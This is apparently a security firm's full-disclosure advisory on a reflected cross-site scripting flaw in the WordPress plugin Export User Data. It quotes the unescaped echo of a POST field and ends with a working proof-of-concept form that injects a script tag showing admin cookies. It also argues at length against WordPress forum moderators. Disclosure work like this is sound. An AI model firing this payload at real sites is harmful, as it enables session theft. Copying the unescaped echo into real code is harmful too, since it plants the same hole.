Our Plugin Security Checker allows anyone to check for the possibility of some instances of security vulnerabilities in WordPress plugins. We recently have been making some improvements to it is ability to detect the possibility of reflected cross-site scripting (XSS) vulnerabilities, which led to us checking over some of the code flagged recently by the tool for that issue to see how the changes have impacted the quality of the results. Through that we found that the plugin Export User Data, which has 20,000+ installs, contains that type of vulnerability.
Our tools flag this line of code in the plugin’s file export-user-data.php:
<input type="text" class="regular-text" name="save_new_export_name" id="q_eud_save_options_new_export" placeholder="<?php _e( 'Export Name', 'export-user-data' ); ?>" value="<?php echo isset( $_POST['export_name'] ) ? $_POST['export_name'] : '' ; ?>">
That would output the value of the POST input “export_name” without escaping it, which depending on how that code could be accessed would be a reflected XSS vulnerability.
The code is in the function users_page(), which generates the plugin’s admin page. We put together a quick proof of concept, found below, and confirmed that this was exploitable.
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will cause any available cookies to be shown in an alert box, when logged in as an Administrator. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/users.php?page=export-user-data" method="POST"> <input type="hidden" name="export_name" value='"><script>alert(document.cookie);</script>' /> <input type="submit" value="Submit request" /> </form> </body> </html>